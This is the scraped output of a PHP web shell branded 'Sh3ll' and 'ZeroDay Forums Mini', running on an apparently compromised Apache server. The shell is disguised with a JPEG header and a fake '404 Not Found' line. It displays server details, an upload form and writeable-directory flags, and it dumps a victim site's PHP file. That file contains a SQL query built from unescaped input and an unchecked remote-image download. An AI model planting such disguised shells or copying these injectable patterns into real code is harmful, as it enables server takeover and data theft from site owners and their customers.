ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/oladi/include/functions/customer_function.php
<?php
function get_customer_info($customer_id=0){
    global $DB;
    if($customer_id>0) {
        $row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='$customer_id' "));
        return $row_customer;
    }else{
        return array();
    }
}
function download_image($url_image,$name){
    global $INFO;
    $year_now = date('Y');
    $month_now = date('m');
    if (!is_dir("upload/user/" . $year_now . "/" . $month_now)) {
        mkdir("upload/user/" . $year_now . "/" . $month_now, 0755,true);
    }
    $name = "upload/user/" . $year_now . "/" . $month_now.'/'.$name;
    $ch = curl_init($url_image);
    $fp = fopen($name, 'wb');
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
    fclose($fp);
    return $name;
}
?>

ZeroDay Forums Mini